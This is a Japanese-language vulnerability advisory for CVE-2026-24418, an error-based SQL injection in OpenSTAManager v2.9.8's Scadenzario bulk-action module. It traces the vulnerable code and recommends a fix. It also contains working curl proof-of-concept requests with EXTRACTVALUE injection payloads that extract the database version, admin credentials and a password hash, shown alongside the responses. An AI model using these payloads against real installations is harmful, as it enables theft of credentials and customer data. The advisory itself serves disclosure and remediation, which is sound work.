
CVE-2026-24418 - OpenSTAManager の Scadenzario 一括操作モジュールには、SQL インジェクションの脆弱性があります。
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2026-24418 |
| 深刻度 | 高 |
| アドバイザリ | アドバイザリを表示 |
| 発見者 | Lukasz Rybak |
OpenSTAManager v2.9.8 の Scadenzario(支払予定表)一括操作モジュールにおける重大なエラーベース SQL インジェクションの脆弱性により、認証済みの攻撃者が XML エラーメッセージを通じて、ユーザー認証情報、顧客の個人情報(PII)、財務記録を含むデータベース全体の内容を抽出できる可能性があります。
状態: ✅ 実環境インスタンス(v2.9.8)で確認・テスト済み
脆弱なパラメータ: id_records[](POST 配列)
影響を受けるエンドポイント: /actions.php?id_module=18(Scadenzario モジュール)
攻撃タイプ: エラーベース SQL インジェクション(IN 句)
OpenSTAManager v2.9.8 には、Scadenzario(支払予定表)モジュールの一括操作ハンドラに重大なエラーベース SQL インジェクションの脆弱性が存在します。このアプリケーションは、SQL の IN() 句で id_records 配列の要素を使用する前に整数であることを検証しないため、攻撃者が任意の SQL コマンドを注入し、XPATH エラーメッセージを通じて機密データを抽出することが可能になります。
脆弱性の連鎖:
エントリポイント: /actions.php(503〜506 行目)
$id_records = post('id_records');
$id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
$id_records = array_clean($id_records);
$id_records = array_unique($id_records);
array_clean() 関数は空の値を削除するだけで、型の検証は行いません。
脆弱な関数: /lib/util.php(54〜60 行目)
function array_clean($array)
{
if (!empty($array)) {
return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
}
}
影響: この関数は空の値を除外しますが、SQL インジェクションのペイロードを含む空でない値であればすべて受け入れてしまいます。
SQL インジェクション箇所: /modules/scadenzario/bulk.php(88 行目)主要な脆弱性
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
影響: $id_records の配列要素は、型検証や prepare() なしで implode() により直接連結されるため、完全な SQL インジェクションが可能になります。
根本原因の分析:
この脆弱性は以下の理由で存在します:
post('id_records') がユーザー制御の配列を返すarray_clean() は空の値のみを削除し、非整数値は削除しないimplode(',', $id_records) が配列要素を SQL に直接連結するid_records[]=1&id_records[]=(MALICIOUS SQL)# を提供することで SQL を注入できる影響を受けるコードパス:
POST /actions.php?id_module=18
↓
actions.php:503 - $id_records = post('id_records')
↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]
ステップ 1: ログイン
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
ステップ 2: 脆弱性の検証(エラーベース SQL インジェクション)
テスト 1: データベースユーザーとバージョンの抽出
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
"http://localhost:8081/actions.php?id_module=18"
応答(攻撃者に表示されるエラーメッセージ):
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>
テスト 2: 管理者認証情報の抽出
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
応答:
<code>XPATH syntax error: '~admin:[email protected]'</code>
テスト 3: パスワードハッシュの抽出(パート 1 - 最初の 31 文字)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
応答:
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>
テスト 4: パスワードハッシュの抽出(パート 2 - 32〜60 文字目)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
応答:
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>
結合されたパスワードハッシュ:
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK
**Scadenzario(支払予定表)モジュールの一括操作にアクセスできるすべての認証済みユーザー。
推奨される修正:
主な修正 - 型検証:
ファイル: /modules/scadenzario/bulk.php
修正前(脆弱 - 88 行目):
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
修正後(修正済み):
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Łukasz Rybak によって発見されました
本 CVE は、協調的な脆弱性情報開示の慣行に従って責任を持って開示されました。ここで提供される情報は、教育および防御目的のみを意図しています。